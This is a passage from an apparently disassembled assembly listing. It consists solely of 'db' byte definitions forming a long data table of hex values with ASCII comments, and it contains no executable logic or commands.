3 ; db 95h ; db 6Ah ; j db 0A0h ; db 3 ; db 95h ; db 72h ; r db 5 ; db 64h ; d db 95h ; db 72h ; r db 5 ; db 65h ; e db 95h ; db 75h ; u db 1 ; db 1 ; db 95h ; db 79h ; y db 0Ch ; db 2 ; db 95h ; db 79h ; y db 0Ch ; db 4 ; db 95h ; db 7Fh ;  db 6 ; db 11h ; db 95h ; db 82h ; db 0Ah ; db 10h ; db 95h ; db 84h ; db 0C0h ; db 3 ; db 95h ; db 84h ; db 2 ; db 3 ; db 95h ; db 88h ; db 1 ; db 64h ; d db 95h ; db 88h ; db 1 ; db 63h ; c db 95h ; db 89h ; db 1 ; db 1 ; db 95h ; db 89h ; db 1 ; db 3 ; db 95h ; db 8Ah ; db 19h ; db 1 ; db 95h ; db 8Bh ; db 1 ; db 64h ; d db 95h ; db 8Bh ; db 0Bh ; db 0C8h ; db 95h ; db 90h ; db 2 ; db 2 ; db 95h ; db 94h ; db 37h ; 7 db 5 ; db 95h ; db 94h ; db 37h ; 7 db 37h ; 7 db 95h ; db 95h ; db 0Bh ; db 6 ; db 95h ; db 0Fh ; db 3 ; db 1 ; db 95h ; db 96h ; db 0D1h ; db 1Dh ; db 95h ; db 96h ; db 0FEh ; db 19h ; db 95h ; db 97h ; db 1 ; db 9 ; db 95h ; db 99h ; db 1 ; db 5 ; db 95h ; db 9Ah ; db 20h ; db 1 ; db 95h ; db 9Ah ; db 20h ; db 16h ; db 95h ; db 9Bh ; db 0C8h ; db 1 ; db 95h ; db 9Bh ; db 0C8h ; db 2 ; db 95h ; db 9Ch ; db 1 ; db 3 ; db 95h ; db 9Ch ; db 2 ; db 64h ; d db 95h ; db 9Ch ; db 2 ; db 65h ; e db 95h ; db 9Ch ; db 4 ; db 0Bh ; db 95h ; db 9Dh ; db 1 ; db 3 ; db 95h ; db 0A1h ; db 1 ; db 5 ; db 95h ; db 0A4h ; db 1 ; db 1 ; db 95h ; db 0A4h ; db 0BBh ; db 1 ; db 95h ; db 0A8h ; db 0Bh ; db 0Bh ; db 95h ; db 0A8h ; db 82h ; db 0FCh ; db 95h ; db 0A8h ; db 8Ah ; db 0Bh ; db 95h ; db 0A8h ; db 23h ; # db 18h ; db 95h ; db 0AAh ; db 0BEh ; db 80h ; db 95h ; db 0ABh ; db 0C0h ; db 2 ; db 95h ; db 0ABh ; db 60h ; ` db 2 ; db 95h ; db 0ADh ; db 1 ; db 1 ; db 95h ; db 0ADh ; db 1 ; db 4 ; db 95h ; db 0AEh ; db 0D3h ; db 5 ; db 95h ; db 0AEh ; db 0D5h ; db 5 ; db 95h ; db 0AFh ; db 1 ; db 1 ; db 95h ; db 0B0h ; db 0FDh ; db 1 ; db 95h ; db 13h ; db 0C0h ; db 0Ah ; db 95h ; db 0C9h ; db 0Ah ; db 1Eh ; db 95h ; db 0D3h ; db 31h ; 1 db 32h ; 2 db 95h ; db 0D8h ; db 5Bh ; [ db 0Fh ; db 95h ; db 0D9h ; db 0 ; db 64h ; d db 95h ; db 0DAh ; db 70h ; p db 4 ; db 95h ; db 0DCh ; db 4 ; db 2 ; db 95h ; db 0DCh ; db 8 ; db 0Bh ; db 95h ; db 0DDh ; db 1 ; db 0C2h ; db 95h ; db 0E9h ; db 64h ; d db 0Bh ; db 95h ; db 0EAh ; db 0Ch ; db 1 ; db 95h ; db 0EBh ; db 1Eh ; db 32h ; 2 db 95h ; db 0ECh ; db 1 ; db 1 ; db 95h ; db 0EFh ; db 0A0h ; db 64h ; d db 95h ; db 0EFh ; db 0A0h ; db 0F0h ; db 95h ; db 18h ; db 0Ch ; db 2 ; db 95h ; db 0F2h ; db 0E0h ; db 2 ; db 95h ; db 0FEh ; db 78h ; x db 0DCh ; db 95h ; db 1Ch ; db 70h ; p db 2 ; db 95h ; db 27h ; ' db 1 ; db 0Fh ; db 95h ; db 4 ; db 2 ; db 9 ; db 95h ; db 29h ; ) db 1 ; db 3 ; db 95h ; db 2Ch ; , db 2 ; db 0Ah ; db 95h ; db 2Ch ; , db 2 ; db 0Ch ; db 95h ; db 30h ; 0 db 4 ; db 47h ; G db 95h ; db 30h ; 0 db 4 ; db 48h ; H db 95h ; db 36h ; 6 db 10h ; db 1 ; db 95h ; db 37h ; 7 db 1Eh ; db 5 ; db 95h ; db 3Fh ; ? db 3Ch ; < db 0FAh ; db 95h ; db 41h ; A db 2 ; db 1 ; db 95h ; db 44h ; D db 10h ; db 0Ch ; db 95h ; db 49h ; I db 0 ; db 35h ; 5 db 95h ; db 4Ah ; J db 1 ; db 1 ; db 95h ; db 4Bh ; K db 0 ; db 1 ; db 95h ; db 4Ch ; L db 1 ; db 2 ; db 95h ; db 4Ch ; L db 1 ; db 4 ; db 95h ; db 4Dh ; M db 1 ; db 1 ; db 95h ; db 4Fh ; O db 8Ah ; db 1 ; db 95h ; db 52h ; R db 3 ; db 2 ; db 95h ; db 52h ; R db 3 ; db 3 ; db 95h ; db 59h ; Y db 1 ; db 18h ; db 95h ; db 5Ah ; Z db 1 ; db 2 ; db 95h ; db 61h ; a db 1 ; db 14h ; db 95h ; db 61h ; a db 1 ; db 1Ah ; db 96h ; db 64h ; d db 1 ; db 6 ; db 96h ; db 64h ; d db 2 ; db 2 ; db 96h ; db 64h ; d db 2 ; db 3 ; db 96h ; db 64h ; d db 3 ; db 6 ; db 96h ; db 65h ; e db 0EDh ; db 2 ; db 96h ; db 65h ; e db 0F8h ; db 39h ; 9 db 96h ; db 6Ch ; l db 2 ; db 0Bh ; db 96h ; db 6Ch ; l db 4 ; db 0Bh ; db 96h ; db 0Bh ; db 9Ah ; db 1 ; db 96h ; db 0Ch ; db 20h ; db 64h ; d db 96h ; db 0Ch ; db 4Ch ; L db 41h ; A db 96h ; db 7Ch ; | db 4 ; db 0Ch ; db 96h ; db 7Ch ; | db 4 ; db 0Dh ; db 96h ; db 80h ; db 10h ; db 0Ah ; db 96h ; db 80h ; db 62h ; b db 0Ah ; db 96h ; db 83h ; db 0Eh ; db 1 ; db 96h ; db 83h ; db 0Eh ; db 2 ; db 96h ; db 8Ch ; db 1 ; db 19h ; db 96h ; db 8Ch ; db 7 ; db 1Eh ; db 96h ; db 8Fh ; db 10h ; db 2 ; db 96h ; db 8Fh ; db 50h ; P db 2 ; db 96h ; db 91h ; db 0 ; db 2 ; db 96h ; db 93h ; db 2Dh ; - db 2 ; db 96h ; db 93h ; db 44h ; D db 0F0h ; db 96h ; db 0Fh ; db 1 ; db 7 ; db 96h ; db 96h ; db 40h ; @ db 1 ; db 96h ; db 9Fh ; db 0D8h ; db 0CAh ; db 96h ; db 9Fh ; db 0D8h ; db 0CEh ; db 96h ; db 0A0h ; db 1 ; db 23h ; # db 96h ; db 0A0h ; db 64h ; d db 23h ; # db 96h ; db 0A1h ; db 6 ; db 1 ; db 96h ; db 0A1h ; db 6 ; db 0FCh ; db 96h ; db 0A2h ; db 1 ; db 3 ; db 96h ; db 0A2h ; db 1 ; db 7 ; db 96h ; db 0A3h ; db 1 ; db 16h ; db 96h ; db 0A3h ; db 82h ; db 2 ; db 96h ; db 0A3h ; db 8Dh ; db 14h ; db 96h ; db 0A3h ; db 2 ; db 0Bh ; db 96h ; db 0A4h ; db 40h ; @ db 2 ; db 96h ; db 0A4h ; db 41h ; A db 3 ; db 96h ; db 0A4h ; db 4Ch ; L db 0A4h ; db 96h ; db 0A5h ; db 1 ; db 1 ; db 96h ; db 0A9h ; db 1 ; db 3 ; db 96h ; db 0A9h ; db 1 ; db 4 ; db 96h ; db 0ADh ; db 0F3h ; db 1 ; db 96h ; db 0B0h ; db 0Ch ; db 33h ; 3 db 96h ; db 0B2h ; db 1 ; db 2 ; db 96h ; db 0B6h ; db 1 ; db 2 ; db 96h ; db 0BCh ; db 4 ; db 0D2h ; db 96h ; db 0BCh ; db 4 ; db 0D4h ; db 96h ; db 13h ; db 8 ; db 1 ; db 96h ; db 13h ; db 8 ; db 0FAh ; db 96h ; db 0BEh ; db 65h ; e db 0F2h ; db 96h ; db 0BFh ; db 50h ; P db 2 ; db 96h ; db 0C3h ; db 0Ah ; db 1 ; db 96h ; db 0C3h ; db 0Ah ; db 81h ; db 96h ; db 0C5h ; db 1 ; db 4 ; db 96h ; db 0C6h ; db 86h ; db 81h ; db 96h ; db 0C6h ; db 0EDh ; db 81h ; db 96h ; db 0C7h ; db 1 ; db 0Bh ; db 96h ; db 0C8h ; db 1 ; db 1 ; db 96h ; db 0CAh ; db 8 ; db 2 ; db 96h ; db 0CBh ; db 1 ; db 0Ah ; db 96h ; db 0CBh ; db 16h ; db 1Ch ; db 96h ; db 0CBh ; db 0E0h ; db 18h ; db 96h ; db 0CCh ; db 25h ; % db 1 ; db 96h ; db 0CCh ; db 28h ; ( db 1 ; db 96h ; db 0CFh ; db 2 ; db 41h ; A db 96h ; db 0D0h ; db 0Ah ; db 1Ah ; db 96h ; db 0D1h ; db 4 ; db 15h ; db 96h ; db 0D1h ; db 58h ; X db 15h ; db 96h ; db 0D4h ; db 10h ; db 14h ; db 96h ; db 0D4h ; db 10h ; db 15h ; db 96h ; db 0D5h ; db 2 ; db 12h ; db 96h ; db 0D5h ; db 2 ; db 13h ; db 96h ; db 0D6h ; db 1 ; db 3 ; db 96h ; db 0D6h ; db 4 ; db 22h ; " db 96h ; db 0D9h ; db 1 ; db 87h ; db 96h ; db 0D9h ; db 0Ah ; db 2 ; db 96h ; db 16h ; db 1 ; db 0Ah ; db 96h ; db 0E3h ; db 4 ; db 1 ; db 96h ; db 0E4h ; db 28h ; ( db 81h ; db 96h ; db 0E4h ; db 2Bh ; + db 41h ; A db 96h ; db 0E8h ; db 80h ; db 2Ah ; * db 96h ; db 0E8h ; db 80h ; db 2Dh ; - db 96h ; db 0EDh ; db 80h ; db 1Bh ; db 96h ; db 0EDh ; db 0B0h ; db 0Dh ; db 96h ; db 0F1h ; db 6 ; db 33h ; 3 db 96h ; db 0F3h ; db 0A0h ; db 1 ; db 96h ; db 0F3h ; db 40h ; @ db 1 ; db 96h ; db 0F4h ; db 9 ; db 64h ; d db 96h ; db 0F4h ; db 9 ; db 0E2h ; db 96h ; db 0FAh ; db 1 ; db 1 ; db 96h ; db 0FCh ; db 80h ; db 6Ah ; j db 96h ; db 0FCh ; db 80h ; db 6Bh ; k db 96h ; db 0FDh ; db 32h ; 2 db 1 ; db 96h ; db 0FDh ; db 32h ; 2 db 2 ; db 96h ; db 0FEh ; db 0ADh ; db 2 ; db 96h ; db 0FEh ; db 0ADh ; db 3 ; db 96h ; db 1Ah ; db 1 ; db 0FBh ; db 96h ; db 1Ah ; db 1 ; db 0FCh ; db 96h ; db 1Ah ; db 0FEh ; db 32h ; 2 db 96h ; db 1Ah ; db 0FEh ; db 3Ah ; : db 96h ; db 1Bh ; db 1 ; db 1 ; db 96h ; db 1Dh ; db 0FBh ; db 0Eh ; db 96h ; db 1Eh ; db 15h ; db 2 ; db 96h ; db 1Fh ; db 0Dh ; db 2 ; db 96h ; db 20h ; db 4 ; db 1 ; db 96h ; db 23h ; # db 0FDh ; db 0Bh ; db 96h ; db 25h ; % db 80h ; db 4 ; db 96h ; db 25h ; % db 0FBh ; db 0Ah ; db 96h ; db 26h ; & db 0D2h ; db 2 ; db 96h ; db 26h ; & db 32h ; 2 db 2 ; db 96h ; db 27h ; ' db 48h ; H db 2 ; db 96h ; db 2Ah ; * db 0BEh ; db 64h ; d db 96h ; db 2Ah ; * db 0BEh ; db 65h ; e db 96h ; db 2Bh ; + db 1 ; db 2 ; db 96h ; db 2Bh ; + db 2 ; db 1 ; db 96h ; db 2Eh ; . db 2Ch ; , db 3 ; db 96h ; db 2Eh ; . db 2Ch ; , db 4 ; db 96h ; db 2Fh ; / db 0ACh ; db 0Bh ; db 96h ; db 31h ; 1 db 0Ah ; db 1 ; db 96h ; db 31h ; 1 db 0Ah ; db 1Fh ; db 96h ; db 34h ; 4 db 64h ; d db 14h ; db 96h ; db 36h ; 6 db 20h ; db 0FCh ; db 96h ; db 36h ; 6 db 20h ; db 0FDh ; db 96h ; db 37h ; 7 db 4 ; db 2 ; db 96h ; db 37h ; 7 db 4 ; db 4 ; db 96h ; db 39h ; 9 db 64h ; d db 1 ; db 96h ; db 3Bh ; ; db 0Ch ; db 3 ; db 96h ; db 3Bh ; ; db 4 ; db 3 ; db 96h ; db 3Dh ; = db 4 ; db 3 ; db 96h ; db 3Dh ; = db 4 ; db 5 ; db 96h ; db 3Fh ; ? db 2 ; db 1 ; db 96h ; db 40h ; @ db 6 ; db 4 ; db 96h ; db 41h ; A db 1 ; db 1 ; db 96h ; db 41h ; A db 3 ; db 6 ; db 96h ; db 43h ; C db 20h ; db 3 ; db 96h ; db 45h ; E db 2 ; db 0Bh ; db 96h ; db 7 ; db 1 ; db 0Bh ; db 96h ; db 7 ; db 1 ; db 0Ch ; db 96h ; db 47h ; G db 58h ; X db 1 ; db 96h ; db 53h ; S db 30h ; 0 db 6 ; db 96h ; db 54h ; T db 4 ; db 7 ; db 96h ; db 54h ; T db 8 ; db 0A6h ; db 96h ; db 56h ; V db 1 ; db 3 ; db 96h ; db 57h ; W db 0F8h ; db 14h ; db 96h ; db 59h ; Y db 0 ; db 8 ; db 96h ; db 9 ; db 80h ; db 1 ; db 96h ; db 5Ah ; Z db 20h ; db 3 ; db 96h ; db 5Ah ; Z db 20h ; db 6 ; db 96h ; db 5Bh ; [ db 1Ch ; db 2 ; db 96h ; db 5Dh ; ] db 10h ; db 0FAh ; db 96h ; db 5Dh ; ] db 0F0h ; db 0FCh ; db 96h ; db 60h ; ` db 0 ; db 2 ; db 96h ; db 61h ; a db 8Ch ; db 3 ; db 96h ; db 61h ; a db 8Ch ; db 4 ; db 97h ; db 1 ; db 1 ; db 1 ; db 97h ; db 1 ; db 2 ; db 1 ; db 97h ; db 64h ; d db 4 ; db 0Dh ; db 97h ; db 65h ; e db 14h ; db 1 ; db 97h ; db 65h ; e db 14h ; db 2 ; db 97h ; db 67h ; g db 10h ; db 0Bh ; db 97h ; db 67h ; g db 10h ; db 0Ch ; db 97h ; db 7Ch ; | db 0FAh ; db 1 ; db 97h ; db 7Dh ; } db 1 ; db 1 ; db 97h ; db 82h ; db 20h ; db 1 ; db 97h ; db 84h ; db 0C8h ; db 2 ; db 97h ; db 84h ; db 32h ; 2 db 0C6h ; db 97h ; db 84h ; db 32h ; 2 db 2 ; db 97h ; db 87h ; db 0F8h ; db 1 ; db 97h ; db 88h ; db 64h ; d db 82h ; db 97h ; db 8Dh ; db 4 ; db 7 ; db 97h ; db 8Fh ; db 1 ; db 37h ; 7 db 97h ; db 8Fh ; db 0F0h ; db 0Ch ; db 97h ; db 90h ; db 0FEh ; db 15h ; db 97h ; db 90h ; db 0FEh ; db 16h ; db 97h ; db 94h ; db 84h ; db 1 ; db 97h ; db 9Ah ; db 0DEh ; db 3 ; db 97h ; db 9Ah ; db 0DEh ; db 5 ; db 97h ; db 9Dh ; db 80h ; db 15h ; db 97h ; db 9Fh ; db 1 ; db 1 ; db 97h ; db 9Fh ; db 1 ; db 79h ; y db 97h ; db 9Fh ; db 5Ah ; Z db 1 ; db 97h ; db 0A0h ; db 0C0h ; db 0Bh ; db 97h ; db 0A0h ; db 0C0h ; db 0Ch ; db 97h ; db 0A1h ; db 2Ch ; , db 0Bh ; db 97h ; db 0A4h ; db 1 ; db 1 ; db 97h ; db 0A4h ; db 1 ; db 7 ; db 97h ; db 0A9h ; db 1Fh ; db 0Ah ; db 97h ; db 11h ; db 3 ; db 0C3h ; db 97h ; db 11h ; db 4 ; db 2 ; db 97h ; db 0AAh ; db 0F0h ; db 3 ; db 97h ; db 0AAh ; db 0F0h ; db 4 ; db 97h ; db 0B6h ; db 88h ; db 1 ; db 97h ; db 0BCh ; db 3 ; db 1 ; db 97h ; db 0BCh ; db 3 ; db 2 ; db 97h ; db 0BDh ; db 0 ; db 19h ; db 97h ; db 0BDh ; db 0Dh ; db 19h ; db 97h ; db 0BEh ; db 0FEh ; db 0FAh ; db 97h ; db 0BFh ; db 1 ; db 0Ah ; db 97h ; db 0C1h ; db 0A1h ; db 29h ; ) db 97h ; db 0C1h ; db 0A1h ; db 2Ah ; * db 97h ; db 0C4h ; db 0 ; db 25h ; % db 97h ; db 0C4h ; db 0 ; db 26h ; & db 97h ; db 0C5h ; db 0 ; db 25h ; % db 97h ; db 0C5h ; db 0 ; db 44h ; D db 97h ; db 0C5h ; db 44h ; D db 0A2h ; db 97h ; db 0C6h ; db 0 ; db 25h ; % db 97h ; db 0C6h ; db 0 ; db 44h ; D db 97h ; db 0C9h ; db 0 ; db 44h ; D db 97h ; db 0C9h ; db 49h ; I db 2 ; db 97h ; db 0CAh ; db 0 ; db 44h ; D db 97h ; db 0CBh ; db 0 ; db 44h ; D db 97h ; db 0D4h ; db 47h ; G db 0Bh ; db 97h ; db 0D6h ; db 0B4h ; db 6Eh ; n db 97h ; db 0D6h ; db 0B4h ; db 78h ; x db 97h ; db 56h ; V db 4Fh ; O db 0Ah ; db 97h ; db 57h ; W db 9 ; db 1 ; db 97h ; db 5Ch ; \ db 2 ; db 22h ; " db 97h ; db 5Ch ; \ db 2 ; db 23h ; # db 97h ; db 5Eh ; ^ db 2 ; db 2 ; db 97h ; db 61h ; a db 1 ; db 5 ; db 97h ; db 61h ; a db 0FCh ; db 1 ; db 97h ; db 63h ; c db 7Dh ; } db 2 ; db 97h ; db 63h ; c db 7Dh ; } db 3 ; db 97h ; db 63h ; c db 0FAh ; db 2 ; db 98h ; db 1 ; db 1 ; db 0D0h ; db 98h ; db 1 ; db 1 ; db 16h ; db 98h ; db 0Ah ; db 1 ; db 1 ; db 98h ; db 65h ; e db 65h ; e db 65h ; e db 98h ; db 65h ; e db 8 ; db 1 ; db 98h ; db 67h ; g db 67h ; g db 67h ; g db 98h ; db 67h ; g db 8 ; db 1 ; db 98h ; db 69h ; i db 2 ; db 2 ; db 98h ; db 6Ah ; j db 1 ; db 35h ; 5 db 98h ; db 70h ; p db 80h ; db 1 ; db 98h ; db 75h ; u db 1 ; db 6 ; db 98h ; db 75h ; u db 1 ; db 8 ; db 98h ; db 87h ; db 0EBh ; db 5 ; db 98h ; db 88h ; db 50h ; P db 6Eh ; n db 98h ; db 88h ; db 50h ; P db 78h ; x db 98h ; db 8Ch ; db 1Ch ; db 0C9h ; db 98h ; db 94h ; db 0Ah ; db 0E5h ; db 98h ; db 95h ; db 28h ; ( db 2 ; db 98h ; db 0Fh ; db 1Eh ; db 1Bh ; db 98h ; db 0Fh ; db 29h ; ) db 20h ; db 98h ; db 0Fh ; db 29h ; ) db 29h ; ) db 98h ; db 98h ; db 60h ; ` db 1 ; db 98h ; db 9Ch ; db 2 ; db 7 ; db 98h ; db 9Eh ; db 10h ; db 30h ; 0 db 98h ; db 9Eh ; db 2 ; db 30h ; 0 db 98h ; db 9Eh ; db 24h ; $ db 30h ; 0 db 98h ; db 0A0h ; db 1 ; db 1 ; db 98h ; db 0A0h ; db 1 ; db 3 ; db 98h ; db 0A0h ; db 3Bh ; ; db 78h ; x db 98h ; db 0A3h ; db 9Fh ; db 0E8h ; db 98h ; db 0A3h ; db 9Fh ; db 0E9h ; db 98h ; db 0A3h ; db 9Fh ; db 0ECh ; db 98h ; db 12h ; db 30h ; 0 db 3 ; db 98h ; db 2 ; db 15h ; db 1 ; db 98h ; db 2 ; db 0FDh ; db 64h ; d db 98h ; db 0E2h ; db 40h ; @ db 0Ah ; db 98h ; db 0E2h ; db 40h ; @ db 9 ; db 98h ; db 0E4h ; db 22h ; " db 1 ; db 98h ; db 0E4h ; db 22h ; " db 10h ; db 98h ; db 3 ; db 0FAh ; db 1 ; db 98h ; db 3 ; db 0FAh ; db 2 ; db 98h ; db 1Eh ; db 2 ; db 78h ; x db 98h ; db 1Fh ; db 0E3h ; db 2 ; db 98h ; db 1Fh ; db 0E3h ; db 3 ; db 98h ; db 21h ; ! db 2 ; db 1 ; db 98h ; db 4 ; db 14h ; db 3 ; db 98h ; db 2Ah ; * db 3Eh ; > db 1 ; db 98h ; db 5 ; db 80h ; db 13h ; db 98h ; db 5 ; db 80h ; db 15h ; db 98h ; db 34h ; 4 db 2 ; db 2 ; db 98h ; db 41h ; A db 0A5h ; db 5 ; db 98h ; db 41h ; A db 21h ; ! db 0Ah ; db 98h ; db 42h ; B db 73h ; s db 1 ; db 98h ; db 42h ; B db 74h ; t db 1 ; db 98h ; db 47h ; G db 0 ; db 1 ; db 98h ; db 47h ; G db 0 ; db 2 ; db 98h ; db 4Ah ; J db 10h ; db 0Ch ; db 98h ; db 4Ah ; J db 10h ; db 0Eh ; db 98h ; db 4Bh ; K db 80h ; db 1 ; db 98h ; db 4Bh ; K db 80h ; db 2 ; db 98h ; db 4Ch ; L db 0 ; db 82h ; db 98h ; db 4Eh ; N db 80h ; db 4Eh ; N db 98h ; db 4Eh ; N db 80h ; db 4Fh ; O db 98h ; db 4Fh ; O db 69h ; i db 69h ; i db 98h ; db 50h ; P db 38h ; 8 db 0C9h ; db 98h ; db 51h ; Q db 1 ; db 0Ah ; db 98h ; db 51h ; Q db 1 ; db 11h ; db 98h ; db 51h ; Q db 1 ; db 19h ; db 98h ; db 53h ; S db 2 ; db 8 ; db 98h ; db 53h ; S db 8 ; db 3 ; db 98h ; db 54h ; T db 0FDh ; db 2 ; db 98h ; db 55h ; U db 85h ; db 0Eh ; db 98h ; db 55h ; U db 3 ; db 3 ; db 98h ; db 58h ; X db 1 ; db 5 ; db 98h ; db 58h ; X db 1 ; db 3Dh ; = db 98h ; db 59h ; Y db 0Fh ; db 0Ah ; db 98h ; db 9 ; db 1Ch ; db 0F9h ; db 98h ; db 5Bh ; [ db 0Bh ; db 1 ; db 98h ; db 5Ch ; \ db 1 ; db 0Ah ; db 98h ; db 5Dh ; ] db 0FDh ; db 5 ; db 98h ; db 5Eh ; ^ db 1 ; db 0Ah ; db 98h ; db 5Eh ; ^ db 1 ; db 18h ; db 98h ; db 5Eh ; ^ db 2 ; db 0Ah ; db 98h ; db 5Fh ; _ db 20h ; db 2 ; db 98h ; db 60h ; ` db 81h ; db 3 ; db 98h ; db 60h ; ` db 25h ; % db 35h ; 5 db 98h ; db 61h ; a db 1 ; db 32h ; 2 db 98h ; db 62h ; b db 20h ; db 14h ; db 98h ; db 63h ; c db 1 ; db 6 ; db 99h ; db 1 ; db 2 ; db 0Ch ; db 99h ; db 0Ah ; db 60h ; ` db 5 ; db 99h ; db 0Ah ; db 60h ; ` db 6 ; db 99h ; db 68h ; h db 1 ; db 2 ; db 99h ; db 68h ; h db 88h ; db 2 ; db 99h ; db 69h ; i db 64h ; d db 64h ; d db 99h ; db 6Ah ; j db 4 ; db 1 ; db 99h ; db 6Bh ; k db 29h ; ) db 9Ch ; db 99h ; db 6Bh ; k db 29h ; ) db 1Ch ; db 99h ; db 6Dh ; m db 0Ah ; db 0Bh ; db 99h ; db 0Bh ; db 0Bh ; db 3 ; db 99h ; db 6Eh ; n db 22h ; " db 0Ah ; db 99h ; db 6Fh ; o db 0E2h ; db 0Ah ; db 99h ; db 6Fh ; o db 0E2h ; db 0Fh ; db 99h ; db 71h ; q db 5 ; db 15h ; db 99h ; db 12h ; db 8 ; db 1 ; db 99h ; db 13h ; db 1 ; db 0FEh ; db 99h ; db 13h ; db 0FAh ; db 64h ; d db 99h ; db 13h ; db 28h ; ( db 0E6h ; db 99h ; db 14h ; db 18h ; db 47h ; G db 99h ; db 18h ; db 5Ah ; Z db 0Fh ; db 99h ; db 21h ; ! db 20h ; db 51h ; Q db 99h ; db 27h ; ' db 0C2h ; db 0Ah ; db 99h ; db 27h ; ' db 0C2h ; db 1Ah ; db 99h ; db 4 ; db 39h ; 9 db 5 ; db 99h ; db 2Ah ; * db 10h ; db 1 ; db 99h ; db 2Ah ; * db 10h ; db 9 ; db 99h ; db 2Dh ; - db 50h ; P db 10h ; db 99h ; db 2Dh ; - db 50h ; P db 11h ; db 99h ; db 2Eh ; . db 0FAh ; db 77h ; w db 99h ; db 5Ah ; Z db 2 ; db 1 ; db 99h ; db 5Ah ; Z db 2 ; db 0Fh ; db 99h ; db 5Ch ; \ db 5 ; db 3 ; db 99h ; db 5Eh ; ^ db 33h ; 3 db 2 ; db 99h ; db 60h ; ` db 1 ; db 1 ; db 9Ah ; db 0Bh ; db 88h ; db 82h ; db 9Ah ; db 0Bh ; db 88h ; db 2 ; db 9Ah ; db 0Bh ; db 88h ; db 22h ; " db 9Ah ; db 0Bh ; db 88h ; db 42h ; B db 9Ah ; db 0Bh ; db 88h ; db 62h ; b db 9Ah ; db 0Bh ; db 91h ; db 2 ; db 9Ah ; db 0Bh ; db 92h ; db 2 ; db 9Ah ; db 0Bh ; db 93h ; db 2 ; db 9Ah ; db 0Bh ; db 59h ; Y db 0B1h ; db 9Ah ; db 0Bh ; db 59h ; Y db 0B9h ; db 9Ah ; db 0Fh ; db 0FAh ; db 0A6h ; db 9Ah ; db 0Fh ; db 0FAh ; db 0AAh ; db 9Ah ; db 0Fh ; db 0FAh ; db 0AEh ; db 9Ah ; db 0Fh ; db 0FBh ; db 0A6h ; db 9Ah ; db 0Fh ; db 0FBh ; db 0AAh ; db 9Ah ; db 0Fh ; db 0FBh ; db 0AEh ; db 9Ah ; db 0Fh ; db 0FCh ; db 0A6h ; db 9Ah ; db 0Fh ; db 0FCh ; db 0AAh ; db 9Ah ; db 0Fh ; db 0FCh ; db 0AEh ; db 9Ah ; db 20h ; db 69h ; i db 1Eh ; db 9Ah ; db 20h ; db 69h ; i db 22h ; " db 9Ah ; db 20h ; db 6Bh ; k db 1Eh ; db 9Ah ; db 20h ; db 6Bh ; k db 22h ; " db 9Ah ; db 20h ; db 6Dh ; m db 1Eh ; db 9Ah ; db 21h ; ! db 71h ; q db 16h ; db 9Ah ; db 21h ; ! db 3Fh ; ? db 0FEh ; db 9Bh ; db 66h ; f db 81h ; db 1 ; db 9Bh ; db 68h ; h db 0F0h ; db 0Ah ; db 9Bh ; db 68h ; h db 0F0h ; db 0Bh ; db 9Bh ; db 69h ; i db 2 ; db 0Ah ; db 9Bh ; db 0Dh ; db 30h ; 0 db 3 ; db 9Bh ; db 83h ; db 1 ; db 0C8h ; db 9Bh ; db 83h ; db 61h ; a db 0C8h ; db 9Bh ; db 87h ; db 1 ; db 1 ; db 9Bh ; db 87h ; db 0Bh ; db 82h ; db 9Bh ; db 89h ; db 22h ; " db 1 ; db 9Bh ; db 89h ; db 24h ; $ db 12h ; db 9Bh ; db 8Ah ; db 1 ; db 5 ; db 9Bh ; db 9Eh ; db 66h ; f db 7 ; db 9Bh ; db 9Eh ; db 63h ; c db 2 ; db 9Bh ; db 0B9h ; db 1 ; db 2 ; db 9Bh ; db 0B9h ; db 1 ; db 5 ; db 9Bh ; db 0BBh ; db 2 ; db 0Bh ; db 9Bh ; db 0C2h ; db 0C8h ; db 14h ; db 9Bh ; db 0C6h ; db 14h ; db 14h ; db 9Bh ; db 0C6h ; db 5 ; db 0Ch ; db 9Bh ; db 0CEh ; db 0Bh ; db 20h ; db 9Bh ; db 0CEh ; db 0Fh ; db 1Eh ; db 9Bh ; db 0CFh ; db 64h ; d db 1Fh ; db 9Bh ; db 0CFh ; db 64h ; d db 20h ; db 9Bh ; db 0CFh ; db 64h ; d db 21h ; ! db 9Bh ; db 0D2h ; db 0Ch ; db 9 ; db 9Bh ; db 0D4h ; db 1 ; db 0Dh ; db 9Bh ; db 0D4h ; db 1 ; db 5 ; db 9Bh ; db 0DFh ; db 2 ; db 2 ; db 9Bh ; db 0E1h ; db 6 ; db 2 ; db 9Bh ; db 0E2h ; db 0Ah ; db 0CCh ; db 9Bh ; db 0E5h ; db 1 ; db 5 ; db 9Bh ; db 0E5h ; db 1 ; db 45h ; E db 9Bh ; db 0E5h ; db 7Eh ; ~ db 43h ; C db 9Bh ; db 0E5h ; db 2 ; db 0B5h ; db 9Bh ; db 0E6h ; db 0Ah ; db 2 ; db 9Bh ; db 0E6h ; db 14h ; db 0Ah ; db 9Bh ; db 0E9h ; db 1 ; db 0E9h ; db 9Bh ; db 0E9h ; db 1 ; db 4 ; db 9Bh ; db 0EEh ; db 8 ; db 11h ; db 9Bh ; db 0F6h ; db 1 ; db 14h ; db 9Bh ; db 0F7h ; db 0A6h ; db 2 ; db 9Bh ; db 0F7h ; db 13h ; db 2 ; db 9Bh ; db 0FAh ; db 80h ; db 1 ; db 9Bh ; db 0FCh ; db 88h ; db 12h ; db 9Bh ; db 0FCh ; db 88h ; db 15h ; db 9Bh ; db 0FCh ; db 97h ; db 53h ; S db 9Bh ; db 0FCh ; db 10h ; db 7 ; db 9Bh ; db 0FDh ; db 1 ; db 2 ; db 9Bh ; db 1Fh ; db 0FBh ; db 0AFh ; db 9Bh ; db 24h ; $ db 3 ; db 1Eh ; db 9Bh ; db 25h ; % db 32h ; 2 db 64h ; d db 9Bh ; db 26h ; & db 0Ah ; db 9 ; db 9Bh ; db 2Ah ; * db 1 ; db 7 ; db 9Bh ; db 2Ah ; * db 1 ; db 59h ; Y db 9Bh ; db 2Bh ; + db 80h ; db 2 ; db 9Bh ; db 2Bh ; + db 81h ; db 14h ; db 9Bh ; db 2Ch ; , db 50h ; P db 17h ; db 9Bh ; db 2Dh ; - db 30h ; 0 db 64h ; d db 9Bh ; db 2Dh ; - db 30h ; 0 db 65h ; e db 9Bh ; db 2Fh ; / db 20h ; db 0E1h ; db 9Bh ; db 30h ; 0 db 8 ; db 0F8h ; db 9Bh ; db 34h ; 4 db 2Dh ; - db 64h ; d db 9Bh ; db 34h ; 4 db 2Eh ; . db 35h ; 5 db 9Bh ; db 35h ; 5 db 1 ; db 1 ; db 9Bh ; db 35h ; 5 db 1 ; db 2 ; db 9Bh ; db 36h ; 6 db 1 ; db 1 